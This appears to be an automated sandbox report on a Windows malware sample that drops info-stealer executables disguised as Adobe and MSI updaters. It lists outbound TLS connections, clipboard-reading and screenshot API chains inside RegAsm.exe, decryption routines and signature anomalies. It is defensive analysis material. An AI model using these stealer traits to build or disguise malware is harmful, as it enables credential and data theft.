Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49821 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0042FB30 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 17_2_0042FB30
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0042FB30 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 17_2_0042FB30
Contains functionality to record screenshots
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00431351 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject, 17_2_00431351
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Code function: 15_2_01350C38 15_2_01350C38
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Code function: 15_2_013509B0 15_2_013509B0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Code function: 15_2_0135099F 15_2_0135099F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_004213B0 17_2_004213B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0043F660 17_2_0043F660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_004209E0 17_2_004209E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00404B00 17_2_00404B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0043EC50 17_2_0043EC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00426F56 17_2_00426F56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00401000 17_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_004040FF 17_2_004040FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00437110 17_2_00437110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00407192 17_2_00407192
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00423269 17_2_00423269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0043F2C0 17_2_0043F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00406320 17_2_00406320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00403699 17_2_00403699
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00401730 17_2_00401730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0041D7C0 17_2_0041D7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0040585F 17_2_0040585F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_004068E0 17_2_004068E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_004288F9 17_2_004288F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00422A63 17_2_00422A63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00420A60 17_2_00420A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00425A60 17_2_00425A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00403A90 17_2_00403A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0040FA90 17_2_0040FA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00405B08 17_2_00405B08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00421B82 17_2_00421B82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00423C66 17_2_00423C66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00423C20 17_2_00423C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00407D50 17_2_00407D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00405E23 17_2_00405E23
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00416E26 17_2_00416E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0043EF60 17_2_0043EF60
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003931B0 22_2_003931B0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0041D220 22_2_0041D220
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0041D220 22_2_0041D220
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B13C0 22_2_004B13C0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B13C0 22_2_004B13C0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B9470 22_2_004B9470
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B9470 22_2_004B9470
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040441D 22_2_0040441D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040441D 22_2_0040441D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FB590 22_2_003FB590
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FB590 22_2_003FB590
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040475F 22_2_0040475F
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040475F 22_2_0040475F
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B7850 22_2_004B7850
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B7850 22_2_004B7850
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003A98A9 22_2_003A98A9
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003A4900 22_2_003A4900
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F3970 22_2_003F3970
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F3970 22_2_003F3970
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003A0A52 22_2_003A0A52
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004BBBF0 22_2_004BBBF0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004BBBF0 22_2_004BBBF0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00418BAD 22_2_00418BAD
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00418BAD 22_2_00418BAD
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003EEBD0 22_2_003EEBD0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003EEBD0 22_2_003EEBD0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00393C50 22_2_00393C50
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00400D50 22_2_00400D50
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00400D50 22_2_00400D50
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FED18 22_2_003FED18
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FED18 22_2_003FED18
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B9D60 22_2_004B9D60
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B9D60 22_2_004B9D60
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003A7D08 22_2_003A7D08
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00411E74 22_2_00411E74
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00411E74 22_2_00411E74
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003B1E95 22_2_003B1E95
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004A8F90 22_2_004A8F90
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004A8F90 22_2_004A8F90
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0041CFA0 22_2_0041CFA0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0041CFA0 22_2_0041CFA0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B1120 22_2_004B1120
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0041D220 22_2_0041D220
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0041D220 22_2_0041D220
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004BA2B0 22_2_004BA2B0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B13C0 22_2_004B13C0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B13C0 22_2_004B13C0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B03C0 22_2_004B03C0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B9470 22_2_004B9470
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B9470 22_2_004B9470
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040441D 22_2_0040441D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040441D 22_2_0040441D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FB590 22_2_003FB590
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FB590 22_2_003FB590
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040475F 22_2_0040475F
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0040475F 22_2_0040475F
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B7850 22_2_004B7850
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_004B7850 22_2_004B7850
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003FEEDF 22_2_003FEEDF
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_001131B0 23_2_001131B0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018441D 23_2_0018441D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018441D 23_2_0018441D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017B590 23_2_0017B590
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017B590 23_2_0017B590
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018475F 23_2_0018475F
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018475F 23_2_0018475F
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_001298A9 23_2_001298A9
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00124900 23_2_00124900
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00173970 23_2_00173970
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00173970 23_2_00173970
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00120A52 23_2_00120A52
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00198BAD 23_2_00198BAD
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00198BAD 23_2_00198BAD
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0016EBD0 23_2_0016EBD0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0016EBD0 23_2_0016EBD0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00113C50 23_2_00113C50
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00166C70 23_2_00166C70
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017ED18 23_2_0017ED18
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017ED18 23_2_0017ED18
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00127D08 23_2_00127D08
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00180D50 23_2_00180D50
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00180D50 23_2_00180D50
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00191E74 23_2_00191E74
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00191E74 23_2_00191E74
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00131E95 23_2_00131E95
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00166C70 23_2_00166C70
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0019D220 23_2_0019D220
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0023A2B0 23_2_0023A2B0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_002313C0 23_2_002313C0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018441D 23_2_0018441D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018441D 23_2_0018441D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00239470 23_2_00239470
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017B590 23_2_0017B590
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017B590 23_2_0017B590
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018475F 23_2_0018475F
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0018475F 23_2_0018475F
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00237850 23_2_00237850
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00173970 23_2_00173970
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00173970 23_2_00173970
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00198BAD 23_2_00198BAD
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00198BAD 23_2_00198BAD
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0016EBD0 23_2_0016EBD0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0016EBD0 23_2_0016EBD0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0023BBF0 23_2_0023BBF0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0017EEDF 23_2_0017EEDF
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: String function: 00408683 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: String function: 003F8770 appears 152 times
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: String function: 00405654 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: String function: 0039BB70 appears 47 times
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: String function: 00188683 appears 76 times
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: String function: 00178770 appears 184 times
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: String function: 00185654 appears 48 times
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: String function: 0011BB70 appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00408800 appears 57 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0040FC30 appears 188 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 276
PE / OLE file has an invalid certificate
Source: OJa1BOigU3.exe Static PE information: invalid certificate
PE file contains executable resources (Code or Archives)
Source: OJa1BOigU3.exe Static PE information: Resource name: TYPELIB type: Zip archive data, at least v1.0 to extract, compression method=store
Source: Retailer_prog[1].exe.0.dr Static PE information: Resource name: TYPELIB type: Zip archive data, at least v1.0 to extract, compression method=store
Source: 3Q7v9y6Zw0a51Z43zHih.exe.0.dr Static PE information: Resource name: TYPELIB type: Zip archive data, at least v1.0 to extract, compression method=store
Source: AdobeUpdaterV1.exe.0.dr Static PE information: Resource name: TYPELIB type: Zip archive data, at least v1.0 to extract, compression method=store
Source: MSIUpdaterV1.exe.0.dr Static PE information: Resource name: TYPELIB type: Zip archive data, at least v1.0 to extract, compression method=store
Sample file is different than original file name gathered from version info
Source: OJa1BOigU3.exe, 00000000.00000000.1624165206.0000000000BC8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameData.Services.Client.SL.dll@ vs OJa1BOigU3.exe
Source: OJa1BOigU3.exe, 00000000.00000003.2278188796.00000000068DA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameNETCrypt.exe4 vs OJa1BOigU3.exe
Source: OJa1BOigU3.exe, 00000000.00000003.2247239644.000000000650B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameData.Services.Client.SL.dll@ vs OJa1BOigU3.exe
Source: OJa1BOigU3.exe, 00000000.00000003.2248766150.000000000650D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameData.Services.Client.SL.dll@ vs OJa1BOigU3.exe
Source: OJa1BOigU3.exe Binary or memory string: OriginalFilenameData.Services.Client.SL.dll@ vs OJa1BOigU3.exe
Uses 32bit PE files
Source: OJa1BOigU3.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: lumma2804[1].exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: U8cABsPhZFkKRrQ4rE0N.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AdobeUpdaterV1.exe0.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: MSIUpdaterV1.exe0.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: retailerTest[1].exe.0.dr Static PE information: Section: .bss ZLIB complexity 0.9998960722477064
Source: v6ggwc2fJXXgIu5fzDQ2.exe.0.dr Static PE information: Section: .bss ZLIB complexity 0.9998960722477064
Source: AdobeUpdaterV1.exe1.0.dr Static PE information: Section: .bss ZLIB complexity 0.9998960722477064
Source: MSIUpdaterV1.exe1.0.dr Static PE information: Section: .bss ZLIB complexity 0.9998960722477064
Source: lumma2804[1].exe.0.dr, gBMthepoZSL1ZVKpeA.cs Cryptographic APIs: 'CreateDecryptor'
Source: U8cABsPhZFkKRrQ4rE0N.exe.0.dr, gBMthepoZSL1ZVKpeA.cs Cryptographic APIs: 'CreateDecryptor'
